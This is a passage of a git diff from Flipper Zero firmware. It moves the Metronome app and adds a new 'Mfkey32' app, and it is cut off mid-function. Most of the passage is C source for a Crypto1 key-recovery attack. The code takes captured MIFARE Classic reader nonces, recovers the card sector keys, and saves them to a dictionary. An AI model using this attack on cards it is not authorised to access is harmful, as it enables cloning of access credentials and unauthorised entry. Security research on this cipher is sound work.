b/applications/external/metronome/application.fam similarity index 90% rename from applications/plugins/metronome/application.fam rename to applications/external/metronome/application.fam index 32588d06e..1a99825a8 100644 --- a/applications/plugins/metronome/application.fam +++ b/applications/external/metronome/application.fam @@ -3,7 +3,6 @@ App( name="Metronome", apptype=FlipperAppType.EXTERNAL, entry_point="metronome_app", - cdefines=["APP_METRONOME"], requires=[ "gui", ], diff --git a/applications/plugins/metronome/gui_extensions.c b/applications/external/metronome/gui_extensions.c similarity index 100% rename from applications/plugins/metronome/gui_extensions.c rename to applications/external/metronome/gui_extensions.c diff --git a/applications/plugins/metronome/gui_extensions.h b/applications/external/metronome/gui_extensions.h similarity index 100% rename from applications/plugins/metronome/gui_extensions.h rename to applications/external/metronome/gui_extensions.h diff --git a/applications/plugins/swd_probe/icons/ButtonUp_7x4.png b/applications/external/metronome/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonUp_7x4.png rename to applications/external/metronome/images/ButtonUp_7x4.png diff --git a/applications/plugins/metronome/img/screenshot.png b/applications/external/metronome/img/screenshot.png similarity index 100% rename from applications/plugins/metronome/img/screenshot.png rename to applications/external/metronome/img/screenshot.png diff --git a/applications/plugins/metronome/img/wave_left_4x14.png b/applications/external/metronome/img/wave_left_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_left_4x14.png rename to applications/external/metronome/img/wave_left_4x14.png diff --git a/applications/plugins/metronome/img/wave_right_4x14.png b/applications/external/metronome/img/wave_right_4x14.png similarity index 100% rename from applications/plugins/metronome/img/wave_right_4x14.png rename to applications/external/metronome/img/wave_right_4x14.png diff --git a/applications/plugins/metronome/metronome.c b/applications/external/metronome/metronome.c similarity index 100% rename from applications/plugins/metronome/metronome.c rename to applications/external/metronome/metronome.c diff --git a/applications/plugins/metronome/metronome_icon.png b/applications/external/metronome/metronome_icon.png similarity index 100% rename from applications/plugins/metronome/metronome_icon.png rename to applications/external/metronome/metronome_icon.png diff --git a/applications/plugins/minesweeper/LICENSE b/applications/external/mfkey32/LICENSE similarity index 100% rename from applications/plugins/minesweeper/LICENSE rename to applications/external/mfkey32/LICENSE diff --git a/applications/external/mfkey32/application.fam b/applications/external/mfkey32/application.fam new file mode 100644 index 000000000..47ae9c084 --- /dev/null +++ b/applications/external/mfkey32/application.fam @@ -0,0 +1,16 @@ +App( + appid="mfkey32", + name="Mfkey32", + apptype=FlipperAppType.EXTERNAL, + entry_point="mfkey32_main", + requires=[ + "gui", + "storage", + ], + stack_size=1 * 1024, + fap_icon="mfkey.png", + fap_category="Tools", + fap_author="noproto", + fap_icon_assets="images", + fap_weburl="https://github.com/noproto/FlipperMfkey", +) diff --git a/applications/external/mfkey32/images/mfkey.png b/applications/external/mfkey32/images/mfkey.png new file mode 100644 index 000000000..52ab29efb Binary files /dev/null and b/applications/external/mfkey32/images/mfkey.png differ diff --git a/applications/external/mfkey32/mfkey.png b/applications/external/mfkey32/mfkey.png new file mode 100644 index 000000000..52ab29efb Binary files /dev/null and b/applications/external/mfkey32/mfkey.png differ diff --git a/applications/external/mfkey32/mfkey32.c b/applications/external/mfkey32/mfkey32.c new file mode 100644 index 000000000..48d6aa64f --- /dev/null +++ b/applications/external/mfkey32/mfkey32.c @@ -0,0 +1,1287 @@ +#pragma GCC optimize("O3") +#pragma GCC optimize("-funroll-all-loops") + +// TODO: Handle back button correctly +// TODO: Add keys to top of the user dictionary, not the bottom + +#include +#include +#include "time.h" +#include +#include +#include +#include +#include "mfkey32_icons.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define MF_CLASSIC_DICT_FLIPPER_PATH EXT_PATH("nfc/assets/mf_classic_dict.nfc") +#define MF_CLASSIC_DICT_USER_PATH EXT_PATH("nfc/assets/mf_classic_dict_user.nfc") +#define MF_CLASSIC_NONCE_PATH EXT_PATH("nfc/.mfkey32.log") +#define TAG "Mfkey32" +#define NFC_MF_CLASSIC_KEY_LEN (13) + +// MSB_LIMIT: Chunk size (out of 256) +#define MSB_LIMIT 16 +#define MIN_RAM 114500 +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define CONST_M1_1 (LF_POLY_EVEN << 1 | 1) +#define CONST_M2_1 (LF_POLY_ODD << 1) +#define CONST_M1_2 (LF_POLY_ODD) +#define CONST_M2_2 (LF_POLY_EVEN << 1 | 1) +#define BIT(x, n) ((x) >> (n)&1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +#define SWAPENDIAN(x) (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) +//#define SIZEOF(arr) sizeof(arr) / sizeof(*arr) + +struct Crypto1State { + uint32_t odd, even; +}; +struct Crypto1Params { + uint64_t key; + uint32_t nr0_enc, uid_xor_nt0, uid_xor_nt1, nr1_enc, p64b, ar1_enc; +}; +struct Msb { + int tail; + uint32_t states[768]; +}; + +typedef enum { + EventTypeTick, + EventTypeKey, +} EventType; + +typedef struct { + EventType type; + InputEvent input; +} PluginEvent; + +typedef enum { + MissingNonces, + ZeroNonces, + OutOfMemory, +} MfkeyError; + +typedef enum { + Ready, + Initializing, + DictionaryAttack, + MfkeyAttack, + Complete, + Error, + Help, +} MfkeyState; + +typedef struct { + FuriMutex* mutex; + MfkeyError err; + MfkeyState mfkey_state; + int cracked; + int unique_cracked; + int total; + int dict_count; + int search; + bool is_thread_running; + bool close_thread_please; + FuriThread* mfkeythread; +} ProgramState; + +// TODO: Merge this with Crypto1Params? +typedef struct { + uint32_t uid; // serial number + uint32_t nt0; // tag challenge first + uint32_t nt1; // tag challenge second + uint32_t nr0_enc; // first encrypted reader challenge + uint32_t ar0_enc; // first encrypted reader response + uint32_t nr1_enc; // second encrypted reader challenge + uint32_t ar1_enc; // second encrypted reader response +} MfClassicNonce; + +typedef struct { + Stream* stream; + uint32_t total_nonces; + MfClassicNonce* remaining_nonce_array; + size_t remaining_nonces; +} MfClassicNonceArray; + +struct MfClassicDict { + Stream* stream; + uint32_t total_keys; +}; + +static const uint8_t table[256] = { + 0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, + 4, 4, 5, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, + 4, 5, 4, 5, 5, 6, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, 3, 3, 4, 3, 4, 4, + 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 3, 4, 4, 5, + 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 1, 2, 2, 3, 2, 3, 3, 4, 2, 3, 3, 4, 3, 4, 4, 5, 2, + 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, 5, 6, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, 5, 4, 5, + 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 2, 3, 3, 4, 3, 4, 4, 5, 3, 4, 4, + 5, 4, 5, 5, 6, 3, 4, 4, 5, 4, 5, 5, 6, 4, 5, 5, 6, 5, 6, 6, 7, 3, 4, 4, 5, 4, 5, 5, 6, + 4, 5, 5, 6, 5, 6, 6, 7, 4, 5, 5, 6, 5, 6, 6, 7, 5, 6, 6, 7, 6, 7, 7, 8}; +static const uint8_t lookup1[256] = { + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, + 8, 24, 8, 8, 24, 24, 24, 24, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 0, 0, 16, 16, 0, 16, 0, 0, 0, 16, 0, 0, 16, 16, 16, 16, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, 0, 0, 16, 16, 0, 16, 0, 0, + 0, 16, 0, 0, 16, 16, 16, 16, 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24, + 8, 8, 24, 24, 8, 24, 8, 8, 8, 24, 8, 8, 24, 24, 24, 24}; +static const uint8_t lookup2[256] = { + 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, + 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, + 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, + 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, + 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, + 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, + 4, 4, 0, 0, 4, 4, 0, 4, 0, 0, 0, 4, 0, 0, 4, 4, 4, 4, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, + 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, + 2, 6, 2, 2, 6, 6, 6, 6, 2, 2, 6, 6, 2, 6, 2, 2, 2, 6, 2, 2, 6, 6, 6, 6}; + +uint32_t prng_successor(uint32_t x, uint32_t n) { + SWAPENDIAN(x); + while(n--) x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + return SWAPENDIAN(x); +} + +static inline int filter(uint32_t const x) { + uint32_t f; + f = lookup1[x & 0xff] | lookup2[(x >> 8) & 0xff]; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} + +static inline uint8_t evenparity32(uint32_t x) { + if((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2 == + 0) { + return 0; + } else { + return 1; + } + //return ((table[x & 0xff] + table[(x >> 8) & 0xff] + table[(x >> 16) & 0xff] + table[x >> 24]) % 2) & 0xFF; +} + +static inline void update_contribution(unsigned int data[], int item, int mask1, int mask2) { + int p = data[item] >> 25; + p = p << 1 | evenparity32(data[item] & mask1); + p = p << 1 | evenparity32(data[item] & mask2); + data[item] = p << 24 | (data[item] & 0xffffff); +} + +void crypto1_get_lfsr(struct Crypto1State* state, uint64_t* lfsr) { + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} + +static inline uint32_t crypt_word(struct Crypto1State* s) { + // "in" and "x" are always 0 (last iteration) + uint32_t res_ret = 0; + uint32_t feedin, t; + for(int i = 0; i <= 31; i++) { + res_ret |= (filter(s->odd) << (24 ^ i)); + feedin = LF_POLY_EVEN & s->even; + feedin ^= LF_POLY_ODD & s->odd; + s->even = s->even << 1 | (evenparity32(feedin)); + t = s->odd, s->odd = s->even, s->even = t; + } + return res_ret; +} + +static inline void crypt_word_noret(struct Crypto1State* s, uint32_t in, int x) { + uint8_t ret; + uint32_t feedin, t, next_in; + for(int i = 0; i <= 31; i++) { + next_in = BEBIT(in, i); + ret = filter(s->odd); + feedin = ret & (!!x); + feedin ^= LF_POLY_EVEN & s->even; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= !!next_in; + s->even = s->even << 1 | (evenparity32(feedin)); + t = s->odd, s->odd = s->even, s->even = t; + } + return; +} + +static inline void rollback_word_noret(struct Crypto1State* s, uint32_t in, int x) { + uint8_t ret; + uint32_t feedin, t, next_in; + for(int i = 31; i >= 0; i--) { + next_in = BEBIT(in, i); + s->odd &= 0xffffff; + t = s->odd, s->odd = s->even, s->even = t; + ret = filter(s->odd); + feedin = ret & (!!x); + feedin ^= s->even & 1; + feedin ^= LF_POLY_EVEN & (s->even >>= 1); + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= !!next_in; + s->even |= (evenparity32(feedin)) << 23; + } + return; +} + +int key_already_found_for_nonce( + uint64_t* keyarray, + int keyarray_size, + uint32_t uid_xor_nt1, + uint32_t nr1_enc, + uint32_t p64b, + uint32_t ar1_enc) { + for(int k = 0; k < keyarray_size; k++) { + struct Crypto1State temp = {0, 0}; + + for(int i = 0; i < 24; i++) { + (&temp)->odd |= (BIT(keyarray[k], 2 * i + 1) << (i ^ 3)); + (&temp)->even |= (BIT(keyarray[k], 2 * i) << (i ^ 3)); + } + + crypt_word_noret(&temp, uid_xor_nt1, 0); + crypt_word_noret(&temp, nr1_enc, 1); + + if(ar1_enc == (crypt_word(&temp) ^ p64b)) { + return 1; + } + } + return 0; +} + +int check_state(struct Crypto1State* t, struct Crypto1Params* p) { + if(!(t->odd | t->even)) return 0; + rollback_word_noret(t, 0, 0); + rollback_word_noret(t, p->nr0_enc, 1); + rollback_word_noret(t, p->uid_xor_nt0, 0); + struct Crypto1State temp = {t->odd, t->even}; + crypt_word_noret(t, p->uid_xor_nt1, 0); + crypt_word_noret(t, p->nr1_enc, 1); + if(p->ar1_enc == (crypt_word(t) ^ p->p64b)) { + crypto1_get_lfsr(&temp, &(p->key)); + return 1; + } + return 0; +} + +static inline int state_loop(unsigned int* states_buffer, int xks, int m1, int m2) { + int states_tail = 0; + int round = 0, s = 0, xks_bit = 0; + + for(round = 1; round <= 12; round++) { + xks_bit = BIT(xks, round); + + for(s = 0; s <= states_tail; s++) { + states_buffer[s] <<= 1; + + if((filter(states_buffer[s]) ^ filter(states_buffer[s] | 1)) != 0) { + states_buffer[s] |= filter(states_buffer[s]) ^ xks_bit; + if(round > 4) { + update_contribution(states_buffer, s, m1, m2); + } + } else if(filter(states_buffer[s]) == xks_bit) { + // TODO: Refactor + if(round > 4) { + states_buffer[++states_tail] = states_buffer[s + 1]; + states_buffer[s + 1] = states_buffer[s] | 1; + update_contribution(states_buffer, s, m1, m2); + s++; + update_contribution(states_buffer, s, m1, m2); + } else { + states_buffer[++states_tail] = states_buffer[++s]; + states_buffer[s] = states_buffer[s - 1] | 1; + } + } else { + states_buffer[s--] = states_buffer[states_tail--]; + } + } + } + + return states_tail; +} + +int binsearch(unsigned int data[], int start, int stop) { + int mid, val = data[stop] & 0xff000000; + while(start != stop) { + mid = (stop - start) >> 1; + if((data[start + mid] ^ 0x80000000) > (val ^ 0x80000000)) + stop = start + mid; + else + start += mid + 1; + } + return start; +} +void quicksort(unsigned int array[], int low, int high) { + //if (SIZEOF(array) == 0) + // return; + if(low >= high) return; + int middle = low + (high - low) / 2; + unsigned int pivot = array[middle]; + int i = low, j = high; + while(i <= j) { + while(array[i] < pivot) { + i++; + } + while(array[j] > pivot) { + j--; + } + if(i <= j) { // swap + int temp = array[i]; + array[i] = array[j]; + array[j] = temp; + i++; + j--; + } + } + if(low < j) { + quicksort(array, low, j); + } + if(high > i) { + quicksort(array, i, high); + } +} +int extend_table(unsigned int data[], int tbl, int end, int bit, int m1, int m2) { + for(data[tbl] <<= 1; tbl <= end; data[++tbl] <<= 1) { + if((filter(data[tbl]) ^ filter(data[tbl] | 1)) != 0) { + data[tbl] |= filter(data[tbl]) ^ bit; + update_contribution(data, tbl, m1, m2); + } else if(filter(data[tbl]) == bit) { + data[++end] = data[tbl + 1]; + data[tbl + 1] = data[tbl] | 1; + update_contribution(data, tbl, m1, m2); + tbl++; + update_contribution(data, tbl, m1, m2); + } else { + data[tbl--] = data[end--]; + } + } + return end; +} + +int old_recover( + unsigned int odd[], + int o_head, + int o_tail, + int oks, + unsigned int even[], + int e_head, + int e_tail, + int eks, + int rem, + int s, + struct Crypto1Params* p, + int first_run) { + int o, e, i; + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + even[e] = (even[e] << 1) ^ evenparity32(even[e] & LF_POLY_EVEN); + for(o = o_head; o <= o_tail; ++o, ++s) { + struct Crypto1State temp = {0, 0}; + temp.even = odd[o]; + temp.odd = even[e] ^ evenparity32(odd[o] & LF_POLY_ODD); + if(check_state(&temp, p)) { + return -1; + } + } + } + return s; + } + if(first_run == 0) { + for(i = 0; (i < 4) && (rem-- != 0); i++) { + oks >>= 1; + eks >>= 1; + o_tail = extend_table( + odd, o_head, o_tail, oks & 1, LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1); + if(o_head > o_tail) return s; + e_tail = + extend_table(even, e_head, e_tail, eks & 1, LF_POLY_ODD, LF_POLY_EVEN << 1 | 1); + if(e_head > e_tail) return s; + } + } + first_run = 0; + quicksort(odd, o_head, o_tail); + quicksort(even, e_head, e_tail); + while(o_tail >= o_head && e_tail >= e_head) { + if(((odd[o_tail] ^ even[e_tail]) >> 24) == 0) { + o_tail = binsearch(odd, o_head, o = o_tail); + e_tail = binsearch(even, e_head, e = e_tail); + s = old_recover(odd, o_tail--, o, oks, even, e_tail--, e, eks, rem, s, p, first_run); + if(s == -1) { + break; + } + } else if((odd[o_tail] ^ 0x80000000) > (even[e_tail] ^ 0x80000000)) { + o_tail = binsearch(odd, o_head, o_tail) - 1; + } else { + e_tail = binsearch(even, e_head, e_tail) - 1; + } + } + return s; +} + +int calculate_msb_tables( + int oks, + int eks, + int msb_round, + struct Crypto1Params* p, + unsigned int* states_buffer, + struct Msb* odd_msbs, + struct Msb* even_msbs, + unsigned int* temp_states_odd, + unsigned int* temp_states_even) { + //FURI_LOG_I(TAG, "MSB GO %i", msb_iter); // DEBUG + unsigned int msb_head = (MSB_LIMIT * msb_round); // msb_iter ranges from 0 to (256/MSB_LIMIT)-1 + unsigned int msb_tail = (MSB_LIMIT * (msb_round + 1)); + int states_tail = 0, tail = 0; + int i = 0, j = 0, semi_state = 0, found = 0; + unsigned int msb = 0; + // TODO: Why is this necessary? + memset(odd_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); + memset(even_msbs, 0, MSB_LIMIT * sizeof(struct Msb)); + + for(semi_state = 1 << 20; semi_state >= 0; semi_state--) { + //if (main_iter % 2048 == 0) { + // FURI_LOG_I(TAG, "On main_iter %i", main_iter); // DEBUG + //} + if(filter(semi_state) == (oks & 1)) { + states_buffer[0] = semi_state; + states_tail = state_loop(states_buffer, oks, CONST_M1_1, CONST_M2_1); + + for(i = states_tail; i >= 0; i--) { + msb = states_buffer[i] >> 24; + if((msb >= msb_head) && (msb < msb_tail)) { + found = 0; + for(j = 0; j < odd_msbs[msb - msb_head].tail - 1; j++) { + if(odd_msbs[msb - msb_head].states[j] == states_buffer[i]) { + found = 1; + break; + } + } + + if(!found) { + tail = odd_msbs[msb - msb_head].tail++; + odd_msbs[msb - msb_head].states[tail] = states_buffer[i]; + } + } + } + } + + if(filter(semi_state) == (eks & 1)) { + states_buffer[0] = semi_state; + states_tail = state_loop(states_buffer, eks, CONST_M1_2, CONST_M2_2); + + for(i = 0; i <= states_tail; i++) { + msb = states_buffer[i] >> 24; + if((msb >= msb_head) && (msb < msb_tail)) { + found = 0; + + for(j = 0; j < even_msbs[msb - msb_head].tail; j++) { + if(even_msbs[msb - msb_head].states[j] == states_buffer[i]) { + found = 1; + break; + } + } + + if(!found) { + tail = even_msbs[msb - msb_head].tail++; + even_msbs[msb - msb_head].states[tail] = states_buffer[i]; + } + } + } + } + } + + oks >>= 12; + eks >>= 12; + + for(i = 0; i < MSB_LIMIT; i++) { + memcpy(temp_states_odd, odd_msbs[i].states, odd_msbs[i].tail * sizeof(unsigned int)); + memcpy(temp_states_even, even_msbs[i].states, even_msbs[i].tail * sizeof(unsigned int)); + int res = old_recover( + temp_states_odd, + 0, + odd_msbs[i].tail, + oks, + temp_states_even, + 0, + even_msbs[i].tail, + eks, + 3, + 0, + p, + 1); + if(res == -1) { + return 1; + } + //odd_msbs[i].tail = 0; + //even_msbs[i].tail = 0; + } + + return 0; +} + +int recover(struct Crypto1Params* p, int ks2, ProgramState* const program_state) { + unsigned int* states_buffer = malloc(sizeof(unsigned int) * (2 << 9)); + struct Msb* odd_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); + struct Msb* even_msbs = (struct Msb*)malloc(MSB_LIMIT * sizeof(struct Msb)); + unsigned int* temp_states_odd = malloc(sizeof(unsigned int) * (1280)); + unsigned int* temp_states_even = malloc(sizeof(unsigned int) * (1280)); + int oks = 0, eks = 0; + int i = 0, msb = 0; + for(i = 31; i >= 0; i -= 2) { + oks = oks << 1 | BEBIT(ks2, i); + } + for(i = 30; i >= 0; i -= 2) { + eks = eks << 1 | BEBIT(ks2, i); + } + int bench_start = furi_hal_rtc_get_timestamp(); + for(msb = 0; msb <= ((256 / MSB_LIMIT) - 1); msb++) { + //printf("MSB: %i\n", msb); + program_state->search = msb; + if(calculate_msb_tables( + oks, + eks, + msb, + p, + states_buffer, + odd_msbs, + even_msbs, + temp_states_odd, + temp_states_even)) { + int bench_stop = furi_hal_rtc_get_timestamp(); + FURI_LOG_I(TAG, "Cracked in %i seconds", bench_stop - bench_start); + free(states_buffer); + free(odd_msbs); + free(even_msbs); + free(temp_states_odd); + free(temp_states_even); + return 1; + } + } + return 0; +} + +bool napi_mf_classic_dict_check_presence(MfClassicDictType dict_type) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool dict_present = false; + if(dict_type == MfClassicDictTypeSystem) { + dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_FLIPPER_PATH, NULL) == FSE_OK; + } else if(dict_type == MfClassicDictTypeUser) { + dict_present = storage_common_stat(storage, MF_CLASSIC_DICT_USER_PATH, NULL) == FSE_OK; + } + + furi_record_close(RECORD_STORAGE); + + return dict_present; +} + +MfClassicDict* napi_mf_classic_dict_alloc(MfClassicDictType dict_type) { + MfClassicDict* dict = malloc(sizeof(MfClassicDict)); + Storage* storage = furi_record_open(RECORD_STORAGE); + dict->stream = buffered_file_stream_alloc(storage); + furi_record_close(RECORD_STORAGE); + + bool dict_loaded = false; + do { + if(dict_type == MfClassicDictTypeSystem) { + if(!buffered_file_stream_open( + dict->stream, + MF_CLASSIC_DICT_FLIPPER_PATH, + FSAM_READ_WRITE, + FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(dict->stream); + break; + } + } else if(dict_type == MfClassicDictTypeUser) { + if(!buffered_file_stream_open( + dict->stream, MF_CLASSIC_DICT_USER_PATH, FSAM_READ_WRITE, FSOM_OPEN_ALWAYS)) { + buffered_file_stream_close(dict->stream); + break; + } + } + + // Check for newline ending + if(!stream_eof(dict->stream)) { + if(!stream_seek(dict->stream, -1, StreamOffsetFromEnd)) break; + uint8_t last_char = 0; + if(stream_read(dict->stream, &last_char, 1) != 1) break; + if(last_char != '\n') { + FURI_LOG_D(TAG, "Adding new line ending"); + if(stream_write_char(dict->stream, '\n') != 1) break; + } + if(!stream_rewind(dict->stream)) break; + } + + // Read total amount of keys + FuriString* next_line; + next_line = furi_string_alloc(); + while(true) { + if(!stream_read_line(dict->stream, next_line)) { + FURI_LOG_T(TAG, "No keys left in dict"); + break; + } + FURI_LOG_T( + TAG, + "Read line: %s, len: %zu", + furi_string_get_cstr(next_line), + furi_string_size(next_line)); + if(furi_string_get_char(next_line, 0) == '#') continue; + if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; + dict->total_keys++; + } + furi_string_free(next_line); + stream_rewind(dict->stream); + + dict_loaded = true; + FURI_LOG_I(TAG, "Loaded dictionary with %lu keys", dict->total_keys); + } while(false); + + if(!dict_loaded) { + buffered_file_stream_close(dict->stream); + free(dict); + dict = NULL; + } + + return dict; +} + +bool napi_mf_classic_dict_add_key_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + FURI_LOG_I(TAG, "Saving key: %s", furi_string_get_cstr(key)); + + furi_string_cat_printf(key, "\n"); + + bool key_added = false; + do { + if(!stream_seek(dict->stream, 0, StreamOffsetFromEnd)) break; + if(!stream_insert_string(dict->stream, key)) break; + dict->total_keys++; + key_added = true; + } while(false); + + furi_string_left(key, 12); + return key_added; +} + +void napi_mf_classic_dict_free(MfClassicDict* dict) { + furi_assert(dict); + furi_assert(dict->stream); + + buffered_file_stream_close(dict->stream); + stream_free(dict->stream); + free(dict); +} + +static void napi_mf_classic_dict_int_to_str(uint8_t* key_int, FuriString* key_str) { + furi_string_reset(key_str); + for(size_t i = 0; i < 6; i++) { + furi_string_cat_printf(key_str, "%02X", key_int[i]); + } +} + +static void napi_mf_classic_dict_str_to_int(FuriString* key_str, uint64_t* key_int) { + uint8_t key_byte_tmp; + + *key_int = 0ULL; + for(uint8_t i = 0; i < 12; i += 2) { + args_char_to_hex( + furi_string_get_char(key_str, i), furi_string_get_char(key_str, i + 1), &key_byte_tmp); + *key_int |= (uint64_t)key_byte_tmp << (8 * (5 - i / 2)); + } +} + +uint32_t napi_mf_classic_dict_get_total_keys(MfClassicDict* dict) { + furi_assert(dict); + + return dict->total_keys; +} + +bool napi_mf_classic_dict_rewind(MfClassicDict* dict) { + furi_assert(dict); + furi_assert(dict->stream); + + return stream_rewind(dict->stream); +} + +bool napi_mf_classic_dict_get_next_key_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + + bool key_read = false; + furi_string_reset(key); + while(!key_read) { + if(!stream_read_line(dict->stream, key)) break; + if(furi_string_get_char(key, 0) == '#') continue; + if(furi_string_size(key) != NFC_MF_CLASSIC_KEY_LEN) continue; + furi_string_left(key, 12); + key_read = true; + } + + return key_read; +} + +bool napi_mf_classic_dict_get_next_key(MfClassicDict* dict, uint64_t* key) { + furi_assert(dict); + furi_assert(dict->stream); + + FuriString* temp_key; + temp_key = furi_string_alloc(); + bool key_read = napi_mf_classic_dict_get_next_key_str(dict, temp_key); + if(key_read) { + napi_mf_classic_dict_str_to_int(temp_key, key); + } + furi_string_free(temp_key); + return key_read; +} + +bool napi_mf_classic_dict_is_key_present_str(MfClassicDict* dict, FuriString* key) { + furi_assert(dict); + furi_assert(dict->stream); + + FuriString* next_line; + next_line = furi_string_alloc(); + + bool key_found = false; + stream_rewind(dict->stream); + while(!key_found) { //-V654 + if(!stream_read_line(dict->stream, next_line)) break; + if(furi_string_get_char(next_line, 0) == '#') continue; + if(furi_string_size(next_line) != NFC_MF_CLASSIC_KEY_LEN) continue; + furi_string_left(next_line, 12); + if(!furi_string_equal(key, next_line)) continue; + key_found = true; + } + + furi_string_free(next_line); + return key_found; +} + +bool napi_mf_classic_dict_is_key_present(MfClassicDict* dict, uint8_t* key) { + FuriString* temp_key; + + temp_key = furi_string_alloc(); + napi_mf_classic_dict_int_to_str(key, temp_key); + bool key_found = napi_mf_classic_dict_is_key_present_str(dict, temp_key); + furi_string_free(temp_key); + return key_found; +} + +bool napi_key_already_found_for_nonce( + MfClassicDict* dict, + uint32_t uid_xor_nt1, + uint32_t nr1_enc, + uint32_t p64b, + uint32_t ar1_enc) { + bool found = false; + uint64_t k = 0; + napi_mf_classic_dict_rewind(dict); + while(napi_mf_classic_dict_get_next_key(dict, &k)) { + struct Crypto1State temp = {0, 0}; + int i; + for(i = 0; i < 24; i++) { + (&temp)->odd |= (BIT(k, 2 * i + 1) << (i ^ 3)); + (&temp)->even |= (BIT(k, 2 * i) << (i ^ 3)); + } + crypt_word_noret(&temp, uid_xor_nt1, 0); + crypt_word_noret(&temp, nr1_enc, 1); + if(ar1_enc == (crypt_word(&temp) ^ p64b)) { + found = true; + break; + } + } + return found; +} + +bool napi_mf_classic_nonces_check_presence() { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool nonces_present = storage_common_stat(storage, MF_CLASSIC_NONCE_PATH, NULL) == FSE_OK; + + furi_record_close(RECORD_STORAGE); + + return nonces_present; +} + +MfClassicNonceArray* napi_mf_classic_nonce_array_alloc( + MfClassicDict* system_dict, + bool system_dict_exists, + MfClassicDict* user_dict, + bool user_dict_exists, + ProgramState* const program_state) { + MfClassicNonceArray* nonce_array = malloc(sizeof(MfClassicNonceArray)); + MfClassicNonce* remaining_nonce_array_init = malloc(sizeof(MfClassicNonce) * 1); + nonce_array->remaining_nonce_array = remaining_nonce_array_init; + Storage* storage = furi_record_open(RECORD_STORAGE); + nonce_array->stream = buffered_file_stream_alloc(storage); + furi_record_close(RECORD_STORAGE); + + bool array_loaded = false; + do { + // 